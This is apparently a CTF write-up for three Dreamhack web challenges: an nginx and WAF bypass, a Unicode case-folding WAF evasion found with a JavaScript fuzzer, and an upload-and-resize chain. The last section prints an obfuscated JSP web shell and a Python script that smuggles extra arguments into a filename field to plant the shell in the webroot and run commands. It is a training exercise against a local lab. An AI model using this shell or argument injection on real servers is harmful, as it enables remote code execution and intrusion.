---
# System prepended metadata

title: 'Dreamhack CTF Season 6 Round #4 (Web)'
tags: [CTF]

---

# Dreamhack CTF Season 6 Round #4 (Web) (WRITEUP)


# Baby-Case
Exploit Scenarios
1. Insert \xa0 after endpoint /shop\x0a to bypass nginx
2. In body request, uppercase flag parameter to bypass waf (leg=FLAG)


# Youth-Case

Script to fuzzing

```bash=
function fuzzUnicodeCasing(start, end) {
    const differingCases = [];
    for (let i = start; i <= end; i++) {
        const char = String.fromCodePoint(i);
        const lower = char.toLowerCase();
        const upper = char.toUpperCase();
        
        if (lower !== upper && lower.length !== upper.length) {
            differingCases.push({
                codePoint: i,
                character: char,
                lower: lower,
                upper: upper
            });
        }
    }
    return differingCases;
}

// Fuzz over a range of Unicode code points (for example, the Basic Multilingual Plane)
const start = 0x0000;
const end = 0xFFFF; // You can adjust the range as needed

const results = fuzzUnicodeCasing(start, end);

// Log the results
results.forEach(result => {
    console.log(
        `U+${result.codePoint.toString(16).toUpperCase().padStart(4, '0')}: "${result.character}" ` +
        `-> toLowerCase: "${result.lower}", toUpperCase: "${result.upper}"`
    );
});

```
After ran this script, I found the "ﬂ" character that can bypass waf.

![image](https://hackmd.io/_uploads/ryeM5ea9R.png)

![image](https://hackmd.io/_uploads/r1xi9x6qA.png)

Get flag
![image](https://hackmd.io/_uploads/SyxCKg65R.png)

https://lactea.kr/entry/nodejs-unicode

# Resizing Area
Exploit Scenarios
1. nameSet the fields to allow listing of files in the image upload path.
2. Upload a JSP web shell file with an image file signature added.
3. Get the name of the web shell you uploaded using the test API.
4. Upload the web shell to the web root directory using the resize API.

JSP web shell using reflection

```java=
<%@ page import="java.util.*,java.io.*"%>
<%
    Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
    Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}),  new Object[] { request.getParameter("cmd") });
    java.io.InputStream in = e.getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
```

Exploit script

```python=
import requests
import sys
sess = requests.Session()
BASE_URL = 'http://localhost:31337'

def fake_header_jpeg(input, output):
    jpeg_header = b'\xFF\xD8\xFF'
    with open(input, 'rb') as txt_file:
        txt_content = txt_file.read() 
    shell_data = jpeg_header + txt_content 
    with open(output, 'wb') as shell_file:
        shell_file.write(shell_data)
    
    
def create_name():
    data = {'name': '/usr/local/tomcat/uploads/*.jpg'}
    sess.post(BASE_URL, data=data)
    

def upload_file(file_name):
    with open(file_name, 'rb') as f:
        files = {'file': (file_name, f.read(), 'image/jpeg')}
    sess.post(f'{BASE_URL}/image/upload', files=files)
    
def leak_file():
    resp = sess.get(f'{BASE_URL}/api/test/check')
    return resp.json()['message'].split('name: ')[1].split('\n')[0]

def resize(filename_path):
    data1={'filename':f'{filename_path} --target-directory=/usr/local/tomcat/webapps/ROOT/','width':100, 'height':100}
    
    data2={'filename':f'{filename_path} --target-directory=/usr/local/tomcat/webapps/ROOT/ --suffix=asd.jsp','width':100, 'height':100}
    sess.post(f'{BASE_URL}/api/image/resize', data=data1)

    sess.post(f'{BASE_URL}/api/image/resize', data=data2)
    
    filename = filename_path.split('uploads/')[1] 
    return f'{BASE_URL}/{filename}asd.jsp'
    # print('Web shell uploaded successfully')

def rce(shell_path):
    while True:
        command = input("$ ")
        if command == "exit":
            sys.exit(0)
        params = {"cmd": command}
        # print(f'{shell_path}')
        resp = sess.get(f'{shell_path}',params=params)
        print(resp.text.replace("<pre>", "").replace("</pre>","").strip())
        

if __name__ == '__main__':
    create_name()
    fake_header_jpeg("test.txt", "test.jpg")
    upload_file("test.jpg")
    filename_path = leak_file()
    shell_path = resize(filename_path)
    rce(shell_path)
```

# Refs:
https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-bypassing-nginx-acl-rules-with-nodejs
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/other-js-tricks#javascript-protocol-fuzzing

Check bash pit falls command in this link. Very useful for ctf player to check argument/command injection https://mywiki.wooledge.org/BashPitfalls